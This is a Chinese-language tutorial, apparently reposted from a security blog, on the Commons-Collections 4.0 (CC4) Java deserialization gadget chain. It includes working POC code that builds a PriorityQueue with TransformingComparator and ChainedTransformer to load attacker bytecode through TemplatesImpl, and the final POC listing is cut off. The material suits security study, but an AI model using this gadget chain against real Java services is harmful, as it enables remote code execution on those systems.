CC4_CC2_CC5_CC7
文章描述了Commons-Collections 4.0中的反序列化漏洞利用过程,分析了ChainedTransformer和TransformingComparator的调用链,并展示了如何通过构造特定的PriorityQueue实例触发漏洞。文章还详细说明了调试过程和POC代码的编写方法。 2025-10-25 14:2:31 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

CC4

环境:

  • Commons-Collections 4.0

https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0

<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
  • JDK 8u65

分析:

以 ChainedTransformer.transform 为出发点,往回找

202509021852635.png

找到 TransformingComparator.compare 中调用了 transform 方法

再找到 PriorityQueue 类中:

202509021852526.png

202509021852926.png

202509021853566.png

202509021853113.png

<font style="color:#080808;background-color:#ffffff;"></font>

最后找到的链也就是:

PriorityQueue.

readObject

heapify

siftDown

siftDownUsingComparator

compare

TransformingComparator.compare.transform<font style="color:#080808;background-color:#ffffff;"></font>

ChainedTransformer.transform

PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator.compare

->

TransformingComparator.compare.transform

->

ChainedTransformer.transform

<font style="color:#080808;background-color:#ffffff;"></font>

编写 POC:

先将 CC3 的代码执行部分拿来:

//代码执行 InstantiateTransformer
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

对照源码进行构造:

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

写好之后,发现没有反应

202509021853126.png

调试来到此处:

202509021853395.png

看到 size:0 ,不会进入 siftDown.

202509021853636.png202509021853140.png202509021853829.png

for (int i = (size >>> 1) - 1; i >= 0; i--)

1.size >>> 1

  • >>>无符号右移运算符

  • size >>> 1等价于size / 2(向下取整),但不同于/2的地方在于:

    • /2是普通的除法运算;

    • >>> 1是位运算,执行效率更高(尤其是在底层算法里)。

所以size >>> 1就是 数组长度的一半

2.(size >>> 1) - 1

  • 先取数组长度的一半,再减去 1。

  • 结果是 从数组的最后一个非叶子节点开始的位置

例如在堆排序或优先队列的实现中:

  • 叶子节点的下标范围是size/2 ~ size-1

  • 非叶子节点的最后一个位置就是(size/2)-1

3.for (int i = ...; i >= 0; i--)

  • i(size >>> 1) - 1开始,递减到0

  • 也就是说:循环会从最后一个非叶子节点开始,往前遍历所有非叶子节点,直到根节点

这是一个建堆(heapify)的实现。作用是:从最后一个非叶子节点开始,依次向前调整,直到把整个数组调整成一个堆结构

所以要保证 size 为 2 才能进入 for 循环执行代码

于是添加:

priorityQueue.add(1);
priorityQueue.add(2);

此时执行代码后报错了

202509021853681.png

跟进 add 函数:

202509021854556.png

202509021854839.png

202509021854687.png

202509021854246.png

发现 add 函数也会调用 compare,而当 add 调用 compare 也就会调用 transform

而我们知道 _tfactory 在反序列化的时候才会被赋值 【CC3 中分析 利用 TemplatesImpl 加载字节码 时提及】

202509021854728.png

所以,先给 transformers/chainedTransformer 传一个没用的东西,让 add 执行时不会调用

compare.transform ,在反序列化时再赋给正常值。

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
//TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

这样就可以正常执行了

202509021854475.png

完整的POC:

package com.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import or

文章来源: https://www.freebuf.com/articles/web/454161.html
如有侵权请联系:admin#unsafe.sh